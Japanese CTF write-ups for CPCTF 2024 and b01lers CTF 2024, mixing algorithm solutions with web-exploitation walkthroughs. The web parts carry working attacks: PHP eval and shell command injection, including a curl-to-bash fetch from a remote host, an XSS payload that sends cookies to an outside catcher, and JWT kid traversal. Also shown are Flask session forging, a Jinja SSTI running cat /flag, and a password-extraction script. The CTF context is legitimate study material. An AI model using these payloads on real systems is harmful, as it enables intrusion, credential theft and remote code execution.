https://discord.com/channels/808050086428409868/1229186793669394572/1231728862203744437

[Web] Cash Cache 解いてない

時間が無くて解けなかったが、面白そうな雰囲気がある。後で復習する。

CPCTF 2024 Writeups

[PPC] About half

https://yukicoder.me/submissions/975797

書かれている通りに実装する。
文句を言うパターンを判定して、それ以外なら文句を言わないとすればよい。

int A, B;

string solve() {
    // Alice claims it.
    if (A * 2 < B) return "No";
    // Bob claims it.
    if (B * 2 < A) return "No";
    // peaceful world
    return "Yes";
}

void _main() {
    cin >> A >> B;
    cout << solve() << endl;
}

[PPC] Compound Word

https://yukicoder.me/submissions/975805

解法の基本である全列挙をする。
S[i]S[j]の順に繋げた文字列としてありうる文字列Tを全列挙するために、iとjをループで回して全列挙しよう。
Nは最大50なので、全通りの組み合わせを全探索しても、約2500通りくらいで十分間に合う。

Tとしてありうる文字列は全列挙すると、重複する文字列が出てくる場合があり、サンプル2のようにそれは同一視する必要がある。
よって、全列挙した文字列Tをsetに入れて重複を省いていく。
2500通りくらいなので、setに入れる計算量をあまり良く考えなくても間に合う。

int N;
string S[50];

void _main() {
    cin >> N;
    rep(i, 0, N) cin >> S[i];

    set<string> possibilities;
    rep(i, 0, N) rep(j, 0, N) if(i != j) possibilities.insert(S[i] + S[j]);
    cout << possibilities.size() << endl;
}

[Crypto] Substitution

Cpvv muzp! Xuvdazs ijax ekrtiusknl kpqgakpx fuij xwavv nzm tniapzep. Rug'dp mpluzxiknipm pyeptiauznv neglpz nzm tpkxpdpknzep. Fkndu buk eknewazs ijp eump nzm gzvuewazs aix xpekpix! ETEIB{jpvvu_ekrtiu_cukvm}

をデコードする問題。
単なるROT13ではなかった。
置換式暗号っぽいので、https://quipqiup.com/ を使って解析すると復元できた。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{■■■■■■■■■■■■■■}

[Web] Typing game

タイピングゲームが与えられる。
ブラウザ上で動くのでjavascriptに何か情報が載っていないか探すと、/main.jsにロジックが書いてある。

document.getElementById("flag").textContent = "CPCTF{■■■■■■■■■■■■■■■■■■■}";

末尾にフラグが書いてあり、答えれば正答。

[Shell] netcat

wslを開いてnc shell-netcat.web.cpctf.space 30010を実行するとフラグがもらえる。

[PPC] Balanced Choice

https://yukicoder.me/submissions/975824

前提知識

重量がW以下になるように石を選んで価値を最大化ということで、かなり動的計画法みがある。
条件の「タイプ0とタイプ1の総重量の差がD以下」というのを除けば、以下のようなDPを解くことができる。

dp[i][w] := i番目までの石をいくつか選んで総重量がwであるときの価値の総和の最大値

総重量の差がD以下という条件が面倒で、DPの条件として総重量の差を入れるとすると幅が[-D,D]では収まらず、かつ、O(N3)で間に合わない。
ここで、若干の考察の飛躍が必要だが、総重量の差を計算するのに、タイプ0とタイプ1の石の総重量の組は全探索することができることに気が付く。
かつ、先ほど考えたDPを入れ込むと最終的な解法にたどり着く。

改めて解法であるが、最初にタイプ0の石とタイプ1の石を2つのグループに分け、それぞれのグループで以下のDPを計算する。

dp[i][w] := i番目までの石をいくつか選んで総重量がwであるときの価値の総和の最大値

これは基本的な最大系DPで計算が可能。
自分の実装だとdoDP関数でそれをやっている。
doDP関数ではdp[最後][w]の結果を返していて、それにより、タイプ0とタイプ1のそれぞれについて「石をいくつか選んで総重量がwであるときの価値の総和の最大値」を最終結果として返している。 これで、indexとしてwをとり、「石をいくつか選んで総重量がwであるときの価値の総和の最大値」を返す配列としてdp0とdp1を用意する。

最後に、タイプ0の石の総重量 w0 とタイプ1の石の総重量 w1 を全探索し、w0とw1の差がD以下であるものについてdp0[w0]+dp1[w1]の最大値を取れば答えが得られる。

int N, W, D;
int t[5010], w[5010], v[5010];

const int BASE = 10101;
int dp[5010][10010];

vector<int> doDP(vector<pair<int,int>> wv) {
    int n = wv.size();
    rep(i, 0, n + 1) rep(w, 0, W + 1) dp[i][w] = -inf;
    dp[0][0] = 0;

    rep(i, 0, n) rep(w, 0, W + 1) {
        chmax(dp[i + 1][w], dp[i][w]);
        chmax(dp[i + 1][w + wv[i].first], dp[i][w] + wv[i].second);
    }

    vector<int> res(W + 1);
    rep(w, 0, W + 1) res[w] = dp[n][w];
    return res;
}

void _main() {
    cin >> N >> W >> D;
    vector<pair<int,int>> wv[2];
    rep(i, 0, N) {
        cin >> t[i] >> w[i] >> v[i];
        wv[t[i]].push_back({w[i], v[i]});
    }

    auto dp0 = doDP(wv[0]);
    auto dp1 = doDP(wv[1]);

    int ans = -inf;
    rep(w0, 0, W + 1) rep(w1, 0, W + 1) if(w0 + w1 <= W && abs(w0 - w1) <= D) chmax(ans, dp0[w0] + dp1[w1]);
    cout << ans << endl;
}

[PPC] CPC To F

https://yukicoder.me/submissions/975831

経験的に貪欲に取っていけばよさそうで、雑にペナもなかったので、submit証明した。
コードを見る方が分かりやすそうだが、やってることは先頭から貪欲にCPCTFかCPCTCPCが出てくれば選択して、選択できた回数が答えになる。

void _main() {
    cin >> N >> S;

    int ans = 0;
    rep(i, 0, N) {
        if (S.substr(i, 5) == "CPCTF") ans++, i += 4;
        else if (S.substr(i, 7) == "CPCTCPC") ans++, i += 6;
    }
    cout << ans << endl;
}

[Web] Let's buy some array

ソースコードが与えられる。
./DockerfileENV FLAG=CPCTF{dummy_flag}とあるので環境変数が取れればいい。
./src/purchase.php<td><?=eval('return ' . $_POST["quantity1"] . '*1000;')?></td>というのがあり、phpコマンドがインジェクションできる感じになっていた。

getenv('FLAG')でフラグが抜けるので不要部分を消すためにコメントを末尾につける感じで以下のようなリクエストを送ればフラグが得られる。

POST /purchase.php HTTP/2
Host: lets-buy-some-array.web.cpctf.space
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

quantity1=getenv('FLAG');//&quantity2=2&quantity3=3

[Crypto] RSA Trial

一般的なRSA暗号のe,n,cに加えてhintとしてp ** 3 + q ** 3が与えられる。

hint = p ** 3 + q ** 3 = (p + q)^3 - 3(p^2q + pq^2) = (p + q)^3 - 3pq(p + q)

なので、p + q = xとして、hint = x^3 - 3nxとしてみるとxの方程式になっているのでsageで解ける。

$ sage -q
sage: x = var('x')
sage: n = 230928000440329636296825213952050198399476420031678265993822226993736973641931502082363720913283859919530106864195137719740313065539430908440894073507027442972651540191549185405390094288994...
sage: hint = 741926771425232405504391032948866467022983955518121761192445202933333578061474125808287638169879980074289460780164873059834593372109391830484662576544603498916371997546990955652056782715...
sage: solve([hint == x^3 - 3*n*x], x)
[x == -17073206158355941225275494617102263526334298561801989277399589993527785569191362002869607938223386345931629025915332852626031433804590841084873479362604723861250788894353202489509364630100986977375143314905562687045844145564516807252468622683978867441326344946298886908193370833093607726323711411450638112956*I*sqrt(3) - 152919241472610917690613203634994874498595250892275082468356377882531556917623015570734227859448069801497585261058824724254849484507416013080835506429816689189437368332354103271613274346923341206783291924343974756565093799238015177485780421495429397976765315769563844811458023053801002494812447011454389816103, x == 17073206158355941225275494617102263526334298561801989277399589993527785569191362002869607938223386345931629025915332852626031433804590841084873479362604723861250788894353202489509364630100986977375143314905562687045844145564516807252468622683978867441326344946298886908193370833093607726323711411450638112956*I*sqrt(3) - 152919241472610917690613203634994874498595250892275082468356377882531556917623015570734227859448069801497585261058824724254849484507416013080835506429816689189437368332354103271613274346923341206783291924343974756565093799238015177485780421495429397976765315769563844811458023053801002494812447011454389816103, x == 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846682413566583848687949513130187598476030354971560842990858795953530631539127689622916046107602004989624894022908779632206] 

x = 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846682413566583848687949513130187598476030354971560842990858795953530631539127689622916046107602004989624894022908779632206
とわかる。

q = x - p
 n = pq 
   = p(x - p)
   = px - p^2

より、p^2 - px + n == 0をsageで解く。

$ sage -q
sage: p = var('p')
sage: x = 305838482945221835381226407269989748997190501784550164936712755765063113835246031141468455718896139602995170522117649448509698969014832026161671012859633378378874736664708206543226548693846...
sage: n = 230928000440329636296825213952050198399476420031678265993822226993736973641931502082363720913283859919530106864195137719740313065539430908440894073507027442972651540191549185405390094288994...
sage: solve([p^2 - p*x + n == 0], p)
[p == 135846035314254976465337709017892610972260952330473093190956787889003771348431653567864619921224683455565956235143491871628818050702825171995962027067211965328186579438000900782103909716822354229408148609438412069519249653673498370233311798811450530535438970823264957903264652220707394768488735600003751703147, p == 169992447630966858915888698252097138024929549454077071745755967876059342486814377573603835797671456147429214286974157576880880918312006854165708985792421413050688157226707305761122638977024328184158435239249537443610937944802531984738249044179408265418091660715862731719651393886894610221136158422905027929059]

2つ候補が出てくる。
1つ目を使うと復号できた。

from Crypto.Util.number import inverse, long_to_bytes

e = 65537
n = 23092800044032963629682521395205019839947642003167826599382222699373697364193150208236372091328385991953010686419513771974031306553943090844089407350702744297265154019154918540539009428899450143611305519368474018114104032120890018900113475523404485943172242122285155240861638459168673375124722506458788643101691165631602791150049953982221977216315274055244056210267706596664029582907315535291892378413527913785077182496961901383022363067730909373113193628948864207082281785114422087894895030078890350484796134835330823311047167028229204769491010319934092070070538766081863697228127118627729222708111150563573543048673
c = 19714854810441798425218192628520456872374135122326975578323755186726266185199972056073923483658286464301617879635089352592665411823244240238208566319965196140521967086597572168593119765678106046356937915278040055057930301488767227861758502916581923373613056173864307366286413718722274306171986734134743448287679110298196742575567340736883275297021190291513910182136087976821466778632389704189829913852031147612118343129466338264023123206349921130842481490266565146410287609316448549222868603718841318807492196159710288735318204155079252783344467761751889801445265805582070369839653840521902182492304750373649975282958

p = 135846035314254976465337709017892610972260952330473093190956787889003771348431653567864619921224683455565956235143491871628818050702825171995962027067211965328186579438000900782103909716822354229408148609438412069519249653673498370233311798811450530535438970823264957903264652220707394768488735600003751703147
q = n // p

d = inverse(e, (p-1)*(q-1))

m = pow(c, d, n)
print(long_to_bytes(m))

[Web] Read Novels

ソースコードが与えられる。
./flagを取得するのがゴール。

@app.route('/novel', methods=['GET'])
def novel():
    name = request.args.get('name')
    filepath = './novel/' + name
    if os.path.exists(filepath) == False:
        return "File not found"
    if os.path.isfile(filepath) == False:
        return "Not a file"
    body = open(filepath, 'r').read()
    return render_template('novel.html', title=name, body=body)

ここでパストラバーサルを起こし、LFI達成できそう。
よって、/novel?name=../flagとするとフラグが得られる。

[Shell] veeeeeeery long text

sshで接続すると、カレントディレクトリにflag.txtがある。
cat flag.txtとすると大量に文字列が流れてくる。

$ cat flag.txt | wc
 100001  100001 6500065

ok. grepしましょう。

$ cat flag.txt | grep CPCTF
CPCTF{■■■■■■■■}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X

[PPC] Power! or +1

https://yukicoder.me/submissions/976561

前提知識

最初はDPで解けないか考えていた。

dp[x] := X=xにするためのコストの総和の最小値

かなり素直にDPは作れるが、問題はXをNにしたいのではなく、Nの倍数にしたいというのが厄介な所。
xがNを超えるとDPの範疇で計算ができない。
よって、xがNを超えた場合について深く考えてみる。

ここが重要な考察であるが、xがNを超えたときはx mod Nで状態を同一視して問題ない。
問題ないというのは、全ての操作においてx mod Nの状態で同一視したときに最終的な結果に影響しないということである。

操作1、操作2についてはmod上での操作は普通にできるため、xがNの倍数かどうかのみを判定するのに、xの具体的な値は必要なくx mod Nが分かっていれば十分である。
問題が操作3であるが、ここで「xがNを超えたときは」という条件が効いてきて、xがNを超えた時に操作3を1回行うと必ずXはNの倍数になる。
それもそのはずで階乗をすると、掛け算の中にNが含まれるのでNの倍数になる。 よって、xの具体的な値に関係なく、むしろ、x mod Nの値にも関係なく、遷移先のx mod Nは0になる。
なので、操作3においてもx mod Nが分かっていれば十分である。
という訳でxがNを超えているか超えていないかで方針が変わるが、これなら状態数は間に合うようになる。
つまり、以下のようなDPテーブルを埋めていけばいい。

dp[mo][isLarger] := X % Nがmoであり、かつ、XがN以上かどうかがisLargerであるときのコストの総和の最小値

XがN以上の場合はmoが増えればコストの総和の最小値が増えるというDP的状況ではなくなるのでダイクストラでこのDPテーブルを埋めていくことになる。
状態数は2*105 × 2なので問題ない。
遷移を見てみよう。

操作1は1通り、操作3も1通りである。操作3の階乗操作はあらかじめ階乗を事前計算しておくといい。
自分は以下を事前計算して使っている。計算時は1018を超えてくるので上限付き掛け算するといい。

P[x] := x!
PM[x] := x! mod N

上限付き掛け算の自分の実装はこんな感じ。掛け算してinfl(自分はconst ll infl = 1LL << 60;で定義)を超えたらinflに丸めている。

ll mul(ll a, ll b) { if(a==0) return 0; if(infl/a<b) return infl; return min(infl, a*b); }

問題は操作2である。
kを決める必要があるが、XがNを超えたmod Nでは下手に上限を決められない気がする。
しかし、よくよく考えると、コストのBkはかなり大きく、kが64くらいになると1018を超えてしまう。
そこまで来ると操作1で+1をした方がコストが安く、最大でもANくらいで条件を満たせるのでkは雑に64を上限にしてしまっていい。
よって、操作2もkは[2,64]で探索すればよく、合計で遷移回数も63+1+1=65なのでこれなら計算可能。

あとは、この状態でNを超える超えないでいい感じに場合分けしながら、オーバーフロー対策をしながら、ダイクストラを計算すればdp[0][1]が答えになる。

b01lers CTF 2024 Writeups

web/b01ler-ad

const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');

'"`が使えない状態でXSSさせる問題。
それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。
<script src=//c748-194-180-179-191.ngrok-free.app/a.js></script>
こんな感じにして、ngrokで以下のようなものを公開しておけばrequest catcherの方にcookieが飛ぶ。
fetch('https://afsiwek32k45owoawe.requestcatcher.com/test', { method : 'post', body: document.cookie })

web/3-city-elves-writeups

os.system(f"bash -c \'echo \"{content}\" > {filename}\'")

のcontentに文字を入れ込んでコマンドインジェクションをして、/flag.pngを抜いてくる問題。
以下の文字が禁止されている。

"bin","base64","export","python3","export","ruby","perl","x","/","(",")""\\","rm","mv","chmod","chown","tar","gzip","bzip2","zip","find","grep","sed","awk","cat","less","more","head","tail","echo","printf","read","touch","ln","wget","curl","fetch","scp","rsync","sudo","ssh","nc","netcat","ping","traceroute","iptables","ufw","firewalld","crontab","ps","top","htop","du","df","free","uptime","kill","killall","nohup","jobs","bg","fg","watch","wc","sort","uniq","tee","diff","patch","mount","umount","lsblk","blkid","fdisk","parted","mkfs","fsck","dd","hdparm","lsmod","modprobe","lsusb","lspci","ip","ifconfig","route","netstat","ss","hostname","dnsdomainname","date","cal","who","w","last","history","alias","export","source","umask","pwd","cd","mkdir","rmdir","stat","file","chattr","lsof","ncdu","dmesg","journalctl","logrotate","systemctl","service","init","reboot","shutdown","poweroff","halt","systemd","update-alternatives","adduser","useradd","userdel","usermod","groupadd","groupdel","groupmod","passwd","chpasswd","userpasswd","su","visudo","chsh","chfn","getent","id","whoami","groups","quota","quotaon","quotacheck","scp","sftp","ftp","tftp","telnet","ssh-keygen","ssh-copy-id","ssh-add","ssh-agent","nmap","tcpdump","iftop","arp","arping","brctl","ethtool","iw","iwconfig","mtr","tracepath","fping","hping3","dig","nslookup","host","whois","ip","route","ifconfig","ss","iptables","firewalld","ufw","sysctl","uname","hostnamectl","timedatectl","losetup","eject","lvm","vgcreate","vgextend","vgreduce","vgremove","vgs","pvcreate","pvremove","pvresize","pvs","lvcreate","lvremove","lvresize","lvs","resize2fs","tune2fs","badblocks","udevadm","pgrep","pkill","atop","iotop","vmstat","sar","mpstat","nmon","finger","ac","journalctl","ls","dir","locate","updatedb","which","whereis","cut","paste","tr","comm","xargs","gunzip","bunzip2","unzip","xz","unxz","lzma","unlzma","7z","ar","cpio","pax","ftp","sftp","ftp","wget","curl","fetch","rsync","scp","ssh","openssl","gpg","pgp"

この制約で色々やると''を使ったコマンド分割が有効であることが分かる。
ec''ho abc | cu''rl 34584921375821348972314.requestca''tcher.c''om --request PO''ST -d @-
が刺さった。

ここから死ぬほど試行錯誤して、最終的に以下で解いた。
conohaでいい感じにVMを借りてきて、80/tcpでwebサーバを立ち上げ、index.htmlを以下のようにしておく。

cp ../flag.png /app/assets/flag.png

つまり、そのまま持って来るのではなく、assetsに置くまでをコマンド実行する。
これはなぜかというと、flag.pngは14MBのクソデカフラグでいい感じに持って来るのがかなり大変であるためである。
これで適当にもらってきたIPアドレスを使って

`cu''rl [ipaddress] | ba''sh`

を実行する。これでindex.htmlの中身が実行されて、/flag.png/app/assets/flag.pngにコピーできる。
あとは、/static/flag.pngにアクセスしてフラグを回収する。

web/imagehost

フラグはadmin権限でログインできれば手に入る。
怪しい所を見ると、tokens.pyが怪しい。

def decode(token):
    headers = jwt.get_unverified_header(token)
    public_key = Path(headers["kid"])
    if public_key.absolute().is_relative_to(Path.cwd()):
        key = public_key.read_bytes()
        return jwt.decode(jwt=token, key=key, algorithms=["RS256"])
    else:
        return {}

kidを使って公開鍵を参照している。
試すとここはパストラバーサルできるので、任意のローカルの公開鍵を強制することができる。

他の部分を見るとアップロード機能がある。

async def upload(request):
    if "user_id" not in request.session:
        return PlainTextResponse("Not logged in", 401)
    
    async with request.form(max_files=1, max_fields=1) as form:
        if "image" not in form:
            return RedirectResponse("/?error=Missing+image", status_code=303)
        
        image = form["image"]
        
        if image.size > 2**16:
            return RedirectResponse("/?error=File+too+big", 303)
        
        try:
            img = Image.open(image.file)
        except Exception:
            return RedirectResponse("/?error=Invalid+file", 303)
        
        if image.filename is None or not image.filename.endswith(
            tuple(k for k, v in Image.EXTENSION.items() if v == img.format)
        ):
            return RedirectResponse("/?error=Invalid+filename", 303)
        
        await image.seek(0)
        filename = Path(image.filename).with_stem(str(uuid.uuid4())).name
        with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f:
            shutil.copyfileobj(image.file, f)
        
        async with request.app.state.pool.acquire() as conn:
            async with conn.cursor() as cursor:
                await cursor.execute(
                    "INSERT INTO images(filename, user_id) VALUES (%s, %s)",
                    (filename, request.session["user_id"])
                )
        
        return RedirectResponse("/", 303)

見るとアップロード物は画像としてpillowが判定する必要がある。
ということで、画像として読み込めて、public keyとしても使えるものをアップロードできれば良さそう。

openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pem

で使う鍵ペアを作って、小さいgif画像を用意し、cat small.gif public_key.pem > payload.gifのようにくっつけてやればいい。
アップロードすると、

<img src="/view/11241632-ac26-4489-9faa-2a2c0dc60207.gif" />

のようにファイル名を教えてもらえるので、それとprivate keyを使ってjwtを作る。

import jwt

token = jwt.encode(
    {"user_id": 1,"admin": True},
    open('private_key.pem', 'rb').read(),
    algorithm="RS256",
    headers={"kid": "../uploads/11241632-ac26-4489-9faa-2a2c0dc60207.gif"})
print(token)

これのjwtを使えばフラグ入りの画像がもらえる。

web/pwnhub

app.secret_key = hex(getrandbits(20))とあり、鍵が弱すぎる。

>>> hex(getrandbits(20))
'0xd1a52'
>>> hex(getrandbits(20))
'0x3da82'

全探索できますね。

.eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM

これを解析する。 以下のように辞書を作って

for i in range(0x100000):
    print(hex(i))

以下のように解析。

$ flask-unsign -c ".eJwlzjEOwjAMQNG7ZGZIYieOe5nKdmxRCRhaYEHcnUqMX_rD-6Q1dj-uaXnuL7-kdZtpScgCM-YgGqUQcgutjsxBRDzCC2bWrLl3tQpCVUWKOpxvxrBQ4TN0Oo0KGNAa0AwkE2VUqE1MQbv31g1wZstjIAColRwANZ2Q1-H7X-Pv7XaXR_r-ANeMMcI.Zhq4NQ.NjmMgXzBh752wVfYJENCJ9bIhBM" --unsign --wordlist ./dic.txt --no-literal-eval
[*] Session decodes to: {'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'evilman'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 769664 attempts
b'0xbbe18'

鍵が分かったので作り直す。

$ flask-unsign --sign --secret '0xbbe18' --cookie "{'_fresh': True, '_id': '49a3dfd8778117495fb2e499f77798fe1409b0b066bc23a72baa1be317404fcfba9e31bde78234f35537df47cab94b325acb3b6e656c34d0c0884333bc10f332', '_user_id': 'admin'}" --no-literal-eval
.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.Zhtxag.glcjdVQTDK2M1VN8RBh2OtOUuR8

これでadminログインはできた。
後は、SSTIできる箇所があるので、フィルターを回避しながら頑張る。
postを作る所を見ると、

@app.post('/createpost', endpoint='createpost_post')
@login_required
def createpost():
    not None
    content = request.form.get('content')
    post_id = sha256((current_user.name+content).encode()).hexdigest()
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected' )
    current_user.posts.append({str(post_id): content})
    if len(content) > 20:
        return render_template('createpost.html', message=None, error='Content too long!', post=None)
    return render_template('createpost.html', message=f'Post successfully created, view it at /view/{post_id}', error=None)

のように入れてから文字数判定をしているので、エラーが出ても無視してポストを作成できる。
表示させるときは以下のようになっている。

@app.get('/view/<id>')
@login_required
def view(id):
    if (users[current_user.name].verification != V.admin):
        return render_template_string('This feature is still in development, please come back later.')
    content = next((post for post in current_user.posts if id in post), None)
    if not content:
        return render_template_string('Post not found')
    content = content.get(id, '')
    if any(char in content for char in INVALID):
        return render_template_string(f'1{"".join("33" for _ in range(len(content)))}7 detected')
    return render_template_string(f"Post contents here: {content[:250]}")

文字数の上限は実質250文字。
それよりもINVALIDによる文字制限が厳しい。

INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

これを使わずにSSTIする。
とりあえず{% print config %}が動くのは確認できたので、/flag.txtを何とかとって来る。
頭を打ち付けて以下のような感じでフラグが得られた。
ベースは一瞬でできていたが、変な回り道をしてしまった。

import requests
from hashlib import sha256
import html

BASE = 'http://pwnhub.hammer.b01le.rs/'
session = '.eJwlzjEOwzAIQNG7eO5gG2xMLhMBBjVDOyTNVPXujZTxS39437TG7sczLZ_99Edat5mWhCwwYw6iUQoht9DqyBxExCO8YGbNmntXqyBUVaSow_VmDAsVvkKn06iAAa0BzUAyUUaF2sQUtHtv3QBntjwGAoBayQFQ0wU5D99vjczX9k6_P3OZMN8.ZhtTiQ.wi4Exyx1Z8qVmt6BBpWhSkpE28g'
payload = "{% print lipsum | attr(request|attr('referrer')) | attr(request|attr('mimetype'))('os') | attr('popen')('cat /flag*')|attr('read')() %}"

requests.post(BASE + 'createpost', cookies={'session':session}, data={'content':payload})

post_id = sha256(('admin'+payload).encode()).hexdigest()
t = requests.get(BASE + 'view/' + post_id, cookies={'session':session}, headers={
    'Referer': '__globals__',
    'Content-Type': '__getitem__'
}).text
print(post_id)
print(html.unescape(t))

web/b01lers_casino

怪しい所がないか探すと、ソート条件にpasswordが使われている変な部分が目に付く。

def fetchScoreboard():
    conn = sqlite3.connect("casino.db")
    cur = conn.cursor()
    cur.execute("SELECT fullname, password, balance, username FROM casino")
    scoreboard = cur.fetchall()
    
    # Convert list of tuples to list of dictionaries
    scoreboard_dicts = []
    admin_password = ""
    for row in scoreboard:
        fullname = row[0]
        if row[3] == "admin":
            admin_password = row[1]
        scoreboard_dicts.append({
            'fullname': fullname,
            'password': row[1],
            'balance': row[2]
        })
    # Sorting list of dictionaries
    scoreboard_sorted = sorted(scoreboard_dicts, key=lambda x: (x['balance'], x['fullname'], x['password']), reverse=True)
    print(f"Admin password is {admin_password}")
    for i in range (len(scoreboard_sorted)):
        print(scoreboard_sorted[i])
        if scoreboard_sorted[i]['password'] == admin_password:
            scoreboard_sorted[i]['fullname'] = "The Real Captain Baccarat"
    return scoreboard_sorted

adminの(balance, fullname, password)(1000000, "Captain Baccarat", admin_password)という感じ。
passwordの比較まで回すためには、balance, fullnameを一致させる必要がある。
fullnameは重複できるので、同じものを登録できる。
問題はbalanceで初期状態は500。
何処かで変えられないかなーと見てみるとPOST /slotsで変更可能。
パスワードもPOST /update_passwordで帰れるのでOK。二分探索とかをうまく使いながらadmin_passwordを特定する材料が揃った。

ということで以下のような二分探索コードでフラグが得られる。

import requests
import json

s = requests.Session()
BASE = 'https://boilerscasino-4ecd9eb8f0d2c3cb.instancer.b01lersc.tf/'

s.post(BASE + 'register', json={
    "fullname":"Captain Baccarat",
    "username":"evilman",
    "password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"
}, verify=False)
t = s.post(BASE + 'login', json={"username":"evilman","password":"ed202ac34dc1786fde390110ab1e4a5a13e0d80d0f7f2393a074b2a65ce3b559"}, verify=False).text
s.cookies["jwt"] = json.loads(t)['jwt']

s.post(BASE + 'slots', json={"change":999500}, verify=False)

lo = 0x0000000000000000000000000000000000000000000000000000000000000000
hi = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

while lo + 1 != hi:
    md = (lo + hi) // 2
    p = '{:064x}'.format(md)

    s.post(BASE + 'update_password', json={"new_password":p}, verify=False)
    t = s.get(BASE + 'scoreboard', verify=False).text
    me = t.index('Captain Baccarat')
    you = t.index('The Real Captain Baccarat')
    if me < you:
        hi = md
    else:
        lo = md

print(lo)
print(hi)

for admin_password in [lo, hi]:
    ss = requests.Session()
    t = ss.post(BASE + 'login', json={"username":"admin","password":'{:064x}'.format(admin_password)}, verify=False).text
    if 'jwt' not in t:
        continue
    ss.cookies["jwt"] = json.loads(t)['jwt']
    print(ss.get(BASE + 'grab_flag').text)